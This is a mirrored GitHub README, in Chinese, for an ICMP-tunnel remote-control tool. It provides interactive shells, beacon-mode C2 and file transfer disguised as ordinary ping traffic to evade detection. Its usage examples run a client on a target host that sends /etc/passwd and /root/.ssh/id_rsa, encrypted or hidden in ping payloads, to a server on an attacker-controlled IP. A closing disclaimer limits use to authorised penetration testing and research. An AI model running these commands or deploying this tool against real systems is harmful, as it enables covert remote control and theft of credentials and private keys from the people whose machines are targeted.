Thanks to visit codestin.com
Credit goes to github.com

Skip to content

icmp隧道远控工具,支持交互式shell(session/beacon)、文件传输,可选通讯加密方式、包步态等,在流量对抗上做了增强。

Notifications You must be signed in to change notification settings

fadm218/icmp_shell

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ICMP隧道远控工具。

公众号文章:https://mp.weixin.qq.com/s/N1qZ1mAQLB-r6xQ1f6E-DA


✨ 功能说明

  • 多模式操作:
    • 会话模式 (session): 提供一个实时的、交互式的远程Shell。
    • 信标模式 (beacon): 客户端以固定的时间间隔回连(心跳),接收并执行服务端下发的指令队列。
  • 数据包步态,加密/编码支持:
    • 支持 AES (CBC模式), XOR, Base64, Base32 以及 none (原文) 多种载荷处理方式。
    • 支持包长度、发包频率控制,以及部分协议字段自定义。
  • 文件传输:
    • 普通文件传输 (filetrans): 高效、可靠地传输大文件,支持自定义MTU。
    • 隐藏文件传输 (filetrans-hide): 将文件数据块嵌入到仿真ping命令载荷中,模拟的8字节struct timeval时间戳和固定的数据序列。

🚀 快速编译

1. 编译

Go 环境 (版本 >= 1.20)。

# 编译服务端
go build -o icmpsh_ser ./cmd/server/

# 编译客户端
go build -o icmpsh_cli ./cmd/shell/

🚀 快速上手

  • 攻击机: 控制主机 (C2),IP地址为111.111.111.11,在此主机运行服务端。
  • 目标机: 在此主机上运行客户端。

场景一:

获得一个beacon模式的交互式shell,通讯流量以AES加密

./icmpsh_ser --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_ser --token "MySecretKey123" --crypto-mode aes --mode beacon

--mtu 调整每次发送的数据块大小, --interval 控制发包频率,--crypto-mode 控制传输加密类型。

./icmpsh_cli --ip <服务端IP> --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --crypto-mode aes  --mode beacon

场景二:

传输单个文件。

服务端接收文件,并将其保存为 icmp_trans_file。

# 语法: ./icmpsh_ser --token <共享密钥> --filetrans
./icmpsh_ser --token "MySecretKey123" --filetrans

目标机上运行客户端, --filetrans 指定要发送的文件。 --mtu 调整每次发送的数据块大小,用 --interval控制发包频率,但不支持 --crypto-mode 控制传输加密类型。

# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --filetrans <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --filetrans /etc/passwd --mtu 256 --interval 1

场景三:

隐匿传输单个文件,使用一个看起来和普通ping命令几乎一样的流量来传输文件

服务端只负责接收数据,它不需要关心客户端是用哪种方式发送的。

./icmpsh_ser --token "MySecretKey123" --filetrans

使用 --fth ( --filetrans-hide ) 参数。注意,在此模式下, --mtu 是无效的,载荷大小被固定为56字节以模仿 ping 命令,也不支持 --crypto-mode 控制传输加密类型。但可以支持用 --interval 控制发包频率。

# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --fth <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --fth /root/.ssh/id_rsa

🔧 参数详解

服务端 (icmpsh_ser)

全屏复制

参数 别名 类型 默认值 描述
--token -t string "go-icmpshell" 用于客户端和服务端认证的共享密钥。
--filetrans -ft bool false 启动文件接收模式。此模式下,其他模式和加密参数无效。
--mode -m string "session" 运行模式,可选: session (实时会话) 或 beacon (信标)。
--crypto-mode -cm string "none" 载荷加密/编码模式,可选: aes, xor, base64, base32, none。
--mtu int 666 (会话/信标模式) 定义单包最大载荷,最小为40。

客户端 (icmpsh_cli)

全屏复制

参数 别名 类型 默认值 描述
--ip -i string (必需) 要连接的服务端IP地址。
--token -t string "go-icmpshell" 共享密钥,必须与服务端匹配。
--filetrans -ft string "" 普通文件传输模式,值为要发送的文件路径。与 --fth 及其他模式互斥。
--filetrans-hide -fth string "" 隐藏文件传输模式,值为要发送的文件路径。与 --ft 及其他模式互斥。
--mode -m string "session" 运行模式,session 或 beacon。
--crypto-mode -cm string "none" 加密/编码模式,必须与服务端匹配。
--mtu int 666 定义单包最大载荷,最小为40。
--interval int 1 发包的时间间隔,单位为秒,最小为1。
--icmpId uint 1000 通信所使用的ICMP ID。

客户端各模式下参数有效性

全屏复制

操作模式 (通过flag触发) --mtu ****调整数据块大小 --interval ****控制发包频率 --crypto-mode ****控制传输加密类型
会话/信标模式 (--mode) ✅ (仅beacon)
普通文件传输 (--filetrans) ❌ (仅支持原文)
隐藏文件传输 (--fth) ❌ (固定为56字节) ❌ (仅支持原文)

⚠️ 免责声明

本工具仅供授权的渗透测试和安全研究使用。作者不对任何滥用本工具造成的后果负责。请遵守当地法律法规。

About

icmp隧道远控工具,支持交互式shell(session/beacon)、文件传输,可选通讯加密方式、包步态等,在流量对抗上做了增强。

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Go 100.0%